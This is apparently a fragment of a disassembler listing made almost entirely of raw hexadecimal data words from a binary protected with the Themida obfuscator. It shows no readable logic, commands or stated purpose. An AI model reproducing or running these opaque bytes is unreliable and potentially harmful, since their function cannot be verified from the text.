4245489h, 4244481h, 18h, 22C35242h, 0B5EF713h dd 1611BD89h, 13E80935h, 70000000h, 896288Dh, 2AF7FF0Dh dd 7AEFC43Fh, 9B9ABCF8h, 0BF66ED10h, 905BB614h, 50503AB3h dd 0AE952h, 0A0310000h, 24ECE74Bh, 4AAA9B84h, 0AE9310Fh dd 0C7000000h, 6D94D052h, 58686EB8h, 90585ABCh, 0AFD9D8Bh dd 6A0935h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0DAC35141h, 129C4440h, 0D98B081Fh, 6A006Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 40E29FC3h, 0FAEB3FCh, 95FFFEB7h, 9350331h, 1179BD8Bh dd 13E90935h, 0E4000000h, 172E4980h, 2D359E9h, 3D97BBC3h dd 8A7CB036h, 8D8DA491h, 9389AABh, 0D8DBD8Bh, 0D1FF0935h dd 1C19BD83h, 0F010935h, 8685h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 2D146ACDh dd 6AF88B66h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0E46E1C21h, 0B5858970h, 8B09352Eh dd 3506259Dh, 60605009h, 0CABF6160h, 610B2DA0h, 6015B966h dd 24048961h, 949CCB81h, 95FF2587h, 9351151h, 12E9h, 0B28D0200h dd 0B24CF3C8h, 871B05D1h, 0C1911183h, 0E9D39C13h, 0D78h dd 0E8h, 0ED815D00h, 939F533h, 25BD9D29h, 0F8510935h, 0F53535Bh dd 83h, 8D5B5F00h, 38932B85h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 568B19C8h dd 0AABF6672h, 0DE9D6h, 0C9E60000h, 32D2B3D5h, 0A2C494F9h dd 5022A780h, 9D3BBFBBh, 24048936h, 6456EF80h, 35FFh, 0B5890000h dd 9352609h, 258964h, 0E9000000h, 0Bh, 41217D89h, 0F4AFAD72h dd 0FF47EA49h, 35300985h, 0B1B58909h, 6A093525h, 0B5FFF8FFh dd 9350041h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 0A5C35646h, 4B028BB5h, 6890FF9h, 8B000000h, 352B859Dh dd 0B995FF09h, 0E909352Eh, 117h, 9E8h, 16E98A00h, 6BDF25C9h dd 0BD8B1BB0h, 9351161h, 0B00B05Fh, 35319DBDh, 0BB70E609h dd 0FE138D4h, 816071E4h, 607507E8h, 13E947h, 95C70000h dd 6C80A1F8h, 0F4A5BA5Dh, 891926CFh, 1F30917Eh, 830F6146h dd 6, 2415BD8Bh, 613C0935h, 0BD830Fh, 0FA8B0000h, 128D8D89h dd 0B60F0935h, 6BAC8h, 95090000h, 9352EA1h, 0C1F9C18Bh dd 0BD8B04E8h, 9351039h, 89E2F766h, 35006DBDh, 66C82B09h dd 8B3969BFh, 95BD89D1h, 0E909351Fh, 7Fh, 4C44858Bh, 0B5895F4Ch dd 9352405h, 5E9h, 71F3700h, 0C083F0A9h, 0EE907h, 4C2C0000h dd 70582CB5h, 0F700FBE7h, 57F87BC5h, 8900C083h, 3516199Dh dd 0FD03B09h, 0E83h, 0E9D88B00h, 3Bh, 1800Fh, 8BF50000h dd 0FFFFFF8Dh, 0BD9D8BFFh, 83093502h, 840F01E1h, 1Fh, 2B00D381h dd 0A58377B8h, 0FFFFFFFFh, 45BB66FEh, 0DFBF0F0Fh, 4C449589h dd 0E95F4Ch, 8D000000h, 396C02B5h, 2DBD8B09h, 6A093501h dd 7E900h, 5BEB0000h, 0CFD8485Ah, 2995FFBAh, 0B9093508h dd 1005h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 79C35141h, 5B4EF101h, 611F01DFh, 0C8D8501h, 0E1830935h dd 1D9D89FCh, 0FC09350Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 96C35343h, 0F5BB6605h, 60C02BBDh, 8D89E88Ah dd 9351219h, 0BA61h, 0CE90000h, 62000000h, 50AC2C69h, 6898037Fh dd 0AD0EE9D2h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0FC6C356h, 0E780DABFh, 880DE9h, 9E90000h, 8000000h dd 607E76DBh, 0E6D7EF37h, 1629958Bh, 6A0935h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A2655BC3h dd 287D8D8Bh, 9E90935h, 0F7000000h, 0EEAE6159h, 16AAEF74h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 467C0CC3h, 4C561D4Bh, 1AB34127h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0D6C35646h, 49BD83CBh, 93512h dd 7A840Fh, 9D330000h, 9351B1Dh, 0B8h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 99679504h, 0A149DD0Ah, 37EF80A7h, 4C028D8Dh, 6A0935h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0E5617EC3h, 6AE1FF71h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 1217C351h, 53D73278h dd 2255BD83h, 0F000935h, 40D84h, 18D8900h, 83093505h, 352255BDh dd 840F0109h, 415h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0BBC35242h, 52B792B4h, 2255BD83h, 0F030935h dd 3B286h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 8F71D240h, 818CBFC4h, 353C62DBh dd 198D890Ch, 60093505h, 10E9h, 39E03700h, 9BAC4500h, 49AB6F72h dd 0B251AB97h, 0D98C66A4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 0A8C35141h, 0DBBF0F52h, 6A04E180h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 91EBC351h, 0D0D8B31Bh, 0FC90ADAh, 10A84h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 633BAEA4h, 0CE9h, 5A966A00h, 55DD3E45h, 1C9FAFDEh, 61858B8Ch dd 6A09352Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 8837C355h, 11540D27h, 0D7D8533h dd 0C7810935h, 2F68FE8Fh, 0EE950h, 704C0000h, 0B0FEE8ABh dd 36A02634h, 0D4688AFDh, 8B240489h, 3502D99Dh, 0FB8B6609h dd 0BF60006Ah, 762C5A84h, 1880Fh, 61F90000h, 0B7C5A368h dd 2E62BB3Dh, 3481731Eh, 0A8C65C24h, 51006A3Dh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0FE091CEh dd 283h, 8BFB8B00h dd 0DD95FFDFh, 8909350Ch, 38B76F85h, 1D1E909h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0D76405C3h, 0E3BFC105h, 0BD8BAB73h, 93502C9h, 8BFB8B66h dd 38B76785h, 1800C709h, 0E8000000h, 12h, 52AAD3A1h, 0DA8DBAF5h dd 27D97379h, 7873C204h, 9D89EDADh, 9350D3Dh, 6BB58B5Bh dd 6A0938B7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 6458C357h, 0B92D76F8h, 3DBD8944h dd 8B093500h, 3524D585h, 51858909h, 8909350Bh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 315E7D54h, 0FE59D23h, 858B0935h, 9352B61h, 6E9h, 0EC454000h dd 994E482h, 35269995h, 4468909h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 31C35141h, 17CD1675h, 0D5618EBEh dd 0A51BD89h, 0BD0B0935h, 9352E45h, 0FE8B6650h, 89243489h dd 3516AD95h, 67B5FF09h, 0B70938B7h, 6CBF6646h, 82266812h dd 60607F34h, 0CBB96160h, 610031F8h, 61CE8B66h, 0D9243481h dd 6A7F2B81h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 653EC352h, 65AEE617h, 0BF661447h dd 0BF0F8121h, 6F858DD8h, 330938B7h, 3500459Dh, 0D98B6609h dd 5E990h, 0DD710000h, 503C9D7Eh, 0BE8h, 9A542000h, 0F53CE243h dd 0AC811804h, 905FF98Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0D2C35747h, 61E00F04h, 5B3F87B7h, 0DD95FF3Eh dd 0E909350Ch, 13h, 1E35782Bh, 0B0A9C742h, 0D327FE49h dd 7E01DC50h, 61D1C4D9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0C3C35747h, 80AC3008h, 85C73AD7h, 9352255h dd 3, 0BD89DF8Bh, 9352951h, 0B76FBD83h, 0F000938h, 2E84h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 541A94C7h, 21E1BB66h, 21E9h, 159D0900h dd 50093528h, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 0BD8BC08Bh, 9350CE9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0BBC35343h, 12E8h, 7AE2C900h dd 2BAE147Dh, 43015B88h, 0E0DE2CD3h, 5F88E366h, 11699589h dd 0BD830935h, 9352255h, 0A9850F03h, 6A000004h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0B590C357h, 0E9F46208h, 12h, 0ECDDBF1Bh, 2EAF277Ah dd 87D3AC9Dh, 722CE70Bh, 0BD8312EAh, 938B76Fh, 65840F00h dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 8428C357h, 704DDB81h, 0B5FF7B0Fh dd 938B76Fh, 0FFFABF0Fh, 352E1195h, 418D8909h, 8B09351Fh dd 38B763B5h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 0A9A6D195h, 56D61E61h, 106C75Bh dd 6A000100h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0CDBC356h, 0C3813913h, 68E0F80h dd 1000000h, 3516C985h, 0DE89609h, 2E000000h, 69EFC990h dd 49A07FB7h, 713B040Eh, 505B0CB3h, 53006A96h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 80345AEFh dd 0E9907979h, 0Bh, 44CB1029h, 0F4F0CDB9h, 0FFA73728h dd 38B76FB5h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 5B3E1B56h, 0F9E5252Fh, 28995FFh dd 6A0935h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0BC1E47C3h, 0F99D0340h, 2B09350Fh, 3523F19Dh dd 63B58B09h, 6A0938B7h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 0F310C351h, 335BD8Bh dd 0BD8B0935h, 9351DE9h, 0E99858Bh, 810F0935h, 6, 23619589h dd 86890935h, 0C4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 71C35747h, 0BD896060h, 9351B0Dh, 8B6129B4h dd 35162995h, 0CD8D8909h, 83093502h, 6A04C2h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 95FD4C3h dd 35333985h, 499D8B09h, 8909352Fh, 6A2050h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 6A31BFC3h dd 7A279F80h, 7858DC0h, 6A0938CCh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0AB49C350h dd 8689FC93h, 0B8h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0C59408C3h, 1DBD8BFAh dd 0FF093506h, 38B76FB5h, 50006A09h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0FF44F157h dd 2B6BD8A4h, 0BE917h, 0D0920000h, 600A0A54h, 0FAA4D1C3h dd 0CF81669Eh, 0D88A54A7h, 115195FFh, 6A0935h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0CDF93DC3h, 0DCCDEDB0h, 66CB8166h, 0C8D0F3Dh, 0F000000h dd 68Ah, 81BD8B00h, 5009352Eh, 14E8h, 8ADB7C00h, 0D0209206h dd 16BD2DB2h, 2F8F6245h, 99B2A489h, 0F52506Fh, 0F1BF6631h dd 5B585ACBh, 0F243489h, 0B5FFFBB7h, 938B76Fh, 0B5595FFh dd 0BB600935h, 7356FD69h, 0A2C4BF66h, 79BD8361h, 93500h dd 5B840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 549A67C3h, 96CC4D74h, 953158E4h dd 93505C9h, 3890F50h, 66000000h, 3489DF8Bh, 50006A24h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 42C8198h, 4F7192B1h, 6FB5FFAFh, 800938B7h, 95FFB7F7h dd 9351C35h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 9C35646h, 0D91F29EFh, 12B99531h, 0B5FF0935h, 938B76Fh dd 0BE9h, 0AA2D6100h, 0F05199ECh, 0C50CD5A8h, 2CE595FFh dd 9D290935h, 9351269h, 26BDBD83h, 0F020935h, 5484h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0E8607CADh, 0Eh, 9CAF8572h, 844C0DAFh, 0EF014F03h, 0F18B0271h dd 0DB50359h, 61093530h, 26AD858Bh, 89570935h, 351E019Dh dd 0B5295F09h, 93502B1h, 8B0000C6h, 6585C7FAh, 93532h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0A34FC351h, 50342A6Ah, 0FFF36AE9h dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 81EFD13Ch, 8BFFF5D9h, 6BF66DFh, 6AC18B34h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0EFF0C356h, 0FAB70FF6h, 2659858Dh, 23B70935h dd 0E8605190h, 14h, 7CC52E47h dd 73C413C9h, 3B021BBAh, 83F5B507h, 5BE3673Fh, 61616059h dd 85B3505Fh, 11E990h, 0CBC20000h, 0F092B60Eh, 5BEFC63h dd 4EAC0232h, 6A713868h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0D3FBB850h, 0AE97D24h dd 34000000h, 37FDE565h, 50CD1962h, 6A006A36h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 19EBC350h, 765565E4h, 0BB97D800h, 36CCB35Dh, 54D858Dh dd 6A093Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0F862AAC3h, 0E805C083h, 0Dh, 0DE89B9C8h dd 0AD1DE0BBh, 462F880h, 89505B1Fh, 0B70F2404h, 6A006AFEh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 86F5C353h, 3A5480F9h, 8BFB1998h, 3504B5BDh dd 719D3309h, 6A093501h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0B8F71D32h, 668513B8h dd 58F0FBEh, 66000000h, 1DEBC381h, 33195FFh, 9E80935h dd 62000000h, 569254F8h, 0FB13A6ABh, 2F9D9529h, 8D5F0935h dd 389AAB8Dh, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 68B0F98h, 9000000h, 351EED9Dh, 6AD1FF09h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0C72C356h, 69883918h, 238C00AAh, 3516959Dh dd 19BD8309h, 109351Ch, 0E1850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 7E9C50C3h dd 6A026A4Eh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0EDD5C351h, 0CA761FE0h, 0DE996CAh dword_58EA80 dd 6000000h, 0A1506E10h, 0CE50B568h, 1AC6B7Bh, 7E890h ; DATA XREF: Themida_:00549FF0o dd 0CA060000h, 4EBD957Ah, 8B6660CFh, 505F61D8h, 880F60h dd 0B6000000h, 6A906101h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 27BFC357h, 79947C5Ah dd 858999E5h, 935244Dh, 115195FFh, 6A0935h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 1E5F50C3h dd 2E359D8Bh, 12E80935h, 11000000h, 0A93F90Bh, 1191C19Fh dd 3B00397h, 626023DBh, 0E95BF51Ch, 0D3Ch, 0E8h, 0ED815D00h dd 93A0557h, 22DDBD03h, 0BD8B0935h, 9350039h, 0DE9h, 0E203A900h dd 5C8DDC7Ch, 344EC062h, 890F5194h, 0Ch, 68A0Fh, 0F3810000h dd 38A66780h, 932B858Dh, 6A0938h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 50FB9CC3h, 310F5250h dd 8E9EBF66h, 489585Ah, 64DE8B24h, 35FFh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0D977CBC3h, 0EC9182D3h, 0FA8B522Eh, 2589645Bh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EAC35141h dd 300985FFh, 860F0935h, 2, 0B70FDA8Bh, 8BFF6ADAh, 351B39BDh dd 0F1BD8B09h, 0FF093532h, 350A69B5h, 0FFF88B09h, 352EB995h dd 107E909h, 8B660000h, 6600B0FEh, 70E6FE8Bh, 6181BF66h dd 8B5371E4h, 352A65BDh, 613C5F09h, 0E7830Fh, 0BD8B0000h dd 9352409h, 11598589h, 0B60F0935h, 0BE9C8h, 55700000h dd 0E758C953h, 84D7893h, 6BAEAh, 8D0F0000h, 6, 2CCD8D29h dd 0C18B0935h, 0FD19D8Bh, 0E8C10935h, 3DB58904h, 66093504h dd 0C82BE2F7h, 0EADB8166h, 89D18B05h, 352D2DBDh, 0A3C38109h dd 0E936704Dh, 89h, 8442EF81h, 8B664CC0h, 50858BF9h, 0F47554Ch dd 0C083DAB7h, 2D9D8B07h, 8B09352Dh, 350D319Dh, 0C08309h dd 5850Fh, 3EBB0000h, 0F41E7DAh, 0D03BDEBFh, 1B830Fh, 5E90000h dd 0 a1zS@ db 'р1╖щИ@',0 align 4 dd 39B58900h, 29093511h, 351BA18Dh, 0FF8D8B09h, 89FFFFFFh dd 350DADB5h, 1E18309h, 1F840Fh, 0BFBB0000h, 837CD09Dh dd 0FFFFFFA5h, 0DF8BFEFFh, 4C509589h, 0BD8B4755h, 9351B7Dh dd 0E9h, 7B58D00h, 6A09397Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 3B28C356h, 3F909495h dd 0E9E086AAh, 6, 0F6F63540h, 6A0331h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 20C35747h, 820F4974h, 0Bh dd 0F78B6660h, 22B9BD89h, 0FF610935h, 35082995h, 10A7B909h dd 8B660000h, 0FCE183DFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0B3C35646h, 0B6ECD9D6h, 535007F0h, 0E9BCC781h dd 0E95F1590h, 0Dh, 8CBF4C1h, 32D78B28h, 56CC8DCCh, 14E9FDh dd 0F16D0000h, 0FA428362h, 74E3328Ch, 2C42B542h, 0A8F3E4BFh dd 31FC5F1Eh, 3508998Dh, 6AC02B09h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 8FE0C356h dd 54FDB0BDh, 23FD9D8Bh, 0BA0935h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0A2F4C351h, 899504D0h, 352951BDh, 18D0F09h, 0F9000000h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 9E9h, 0F669FC00h dd 57C56BF2h, 9D0BE3EEh, 9352C6Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 11C35141h, 0D3B5901h, 88h dd 1629958Bh, 8B660935h, 7D8D8BFBh, 6A093528h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 85F4C353h, 830FA1B1h, 5, 5C751BBFh, 0C28B5051h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 177AD781h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0EEC35040h, 0AC2A32FDh dd 9CAD6136h, 11952925h, 8309350Fh, 351249BDh, 840F0009h dd 9Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h dd 7EC35747h, 0B5295753h, 9350CB9h, 0B85Fh, 31520000h dd 352DFDBDh, 8D8D5B09h, 9354C02h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 2AC35545h, 0AA73342Bh, 0FFFB8B72h dd 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 7F78059Ch, 0BD8B93BBh, 93515FDh, 0EE8h dd 0C6B1B00h, 5B59703h, 0A68B4967h, 8B8452F3h, 351B059Dh dd 0BD835B09h, 9352255h, 16840F00h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 3D63C353h, 2D2D9D8Bh, 0BD830935h, 9352255h, 1840F01h dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 332FC350h, 8501EF5Eh, 93500F1h dd 2255BD83h, 0F030935h, 39986h, 959D8B00h, 6009352Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 13C35242h dd 12C59589h, 8C660935h, 0BBF88BD9h, 1E226AD8h, 6A04E180h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 6636C355h, 0ACD9BBFh, 0FB840FC9h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 6B1BC351h, 0B597030Ch, 9D896705h, 935268Dh dd 2B61858Bh, 95890935h, 9352875h, 0D7D8533h, 81660935h dd 661EFFDFh, 50DB2BBFh, 128D77BFh, 24048915h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0AAC35343h, 8B667A2Fh dd 0BF006AD9h, 2D1121Eh, 4E8h, 1F03FF00h, 8B665200h, 8B505BDFh dd 0E9042444h, 0Fh, 350F7F6Ch, 4CD059Bh, 0EA781AB0h, 8BA2E360h dd 6E800h, 0ADBC0000h, 5F0422C9h, 2444895Fh, 95FF5804h dd 9350CDDh, 0B76F8589h, 13E90938h, 3A000000h, 0FAB657Ah dd 1F436DA1h, 49BFA773h, 8BD3B033h, 0ABE9B7D0h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 75B6C352h, 0F799D8Bh, 858B0935h, 938B767h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0F4C35242h dd 9B57A862h, 0B858A47Fh, 1681BD89h, 8E0F0935h, 15h, 0F8D0Fh dd 9E80000h, 34000000h, 98405E2Ah, 92A0E23Fh, 1800C75Bh dd 66000000h, 8B486CBFh, 38B76BB5h, 5FA5BB09h, 9D8B57C3h dd 9350C51h, 24D5858Bh, 0BB660935h, 68993B1h, 8B0BB460h dd 352D119Dh, 858B6109h, 9352B61h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 46C35040h, 72E251FBh, 0EB4883F0h dd 9EB0BBBh, 446891Bh, 5FC38166h, 52505010h, 585A310Fh dd 6A243489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 8343C356h, 73D6BD6Dh, 5FA3324Ch dd 33419D8Bh, 0B5FF0935h, 938B767h, 8E0FF860h, 6, 820Fh dd 68610000h, 0E027878Bh, 950BBB66h, 74240481h, 0E91FF77Ch dd 5, 71522E0Ah, 0DE80Fh, 60A0000h, 0F0B9F112h, 2EBBCCC0h dd 605C94B1h, 820F6160h, 0 dd 858D5F61h, 938B76Fh, 0EB4256BBh, 0BF515016h, 683C7709h dd 2404895Bh, 0FFFEB70Fh, 350CDD95h, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0B50EE8DBh dd 0E8248726h, 8, 0CAB5DA51h, 7E3D0FF7h, 0BB665FF8h, 6A619913h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 9716C356h, 5FC523EEh, 8166A77Dh, 52C1F0F7h dd 2785B589h, 0C75B0935h, 35225585h, 309h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0E6D034AAh, 8D8B6060h, 9350351h, 161F78Ah, 352D598Dh dd 0BD836109h, 938B76Fh, 3F840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0F71CC357h, 37E9C1h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 3050E6C3h, 4400110Ch dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 56006AC0h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 66DB989Ch, 29C6A624h, 3506BDB5h, 55BD8909h, 0E9093512h dd 12h, 46A9D34h, 4FC49FE7h, 2BE86E38h, 0BA805F72h, 0BD835B6Ah dd 9352255h, 0DD850F03h, 6A000003h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 515CC351h dd 9CFEBFDDh, 0BD834637h, 938B76Fh, 0AD840F00h, 0F000003h dd 89h, 6FB5FF00h, 0F0938B7h, 95FFFBB7h, 9352E11h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 63C35747h, 67E99D6Dh dd 63B58B7Dh, 8B0938B7h, 106C7F9h, 6A000100h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 3F19C350h, 6810FBDh, 81000000h, 0C49DD0D3h, 0CE954h dd 0D2850000h, 0F2A750C4h, 0BD8207B2h, 0E9968745h, 14h dd 0B2AA33BBh, 73206B6Fh, 142ACA56h, 5ABC386Dh, 0E80BBA83h dd 8B665650h, 66965FF9h, 6A84C381h, 0B76FB5FFh, 0B70F0938h dd 8995FFDBh, 6A093502h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 2D8AC357h, 993A3745h dd 63B58B67h, 6A0938B7h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 0BB04C355h, 0E91A63A6h dd 11h, 8970DA4Ah, 0FF3BDA17h, 0E9B009D5h, 0B0C5AA3Ch dd 99858BD5h, 0F09350Eh, 589h, 0E3816600h, 8689F8D9h, 0C4h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0D3C35141h dd 8D898C03h, 93512A1h, 8BFFBF0Fh, 35162995h, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 832FA93Ch, 838F1139h, 0BD8B04C2h, 9350481h, 0E8205089h dd 9, 0ED3B2063h, 1F745EF6h, 3DDB81BAh, 5F4A5782h, 0CC07858Dh dd 0BD8B0938h, 9352DF5h, 0B88689h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0DC85E1C3h dd 92CF424h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0FE05F2C3h, 0E6D53ACBh, 0AE9h, 9911BB00h dd 74129B8Ch, 0FF84B8F3h, 38B76FB5h, 15D78009h, 115195FFh dd 6A0935h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 205336C3h, 0AE94F8Bh, 1E000000h, 0DACEC152h dd 75AF147Ch, 4870FA4h, 66000000h, 5094DABFh, 3489DE8Bh dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0F87BC5F7h, 0FF91AB57h, 38B76FB5h, 95BD0109h dd 0FF093501h, 350B5595h, 71F38009h, 79BD83h, 0F000935h dd 2584h, 0C99D8900h, 50093511h, 11E9h, 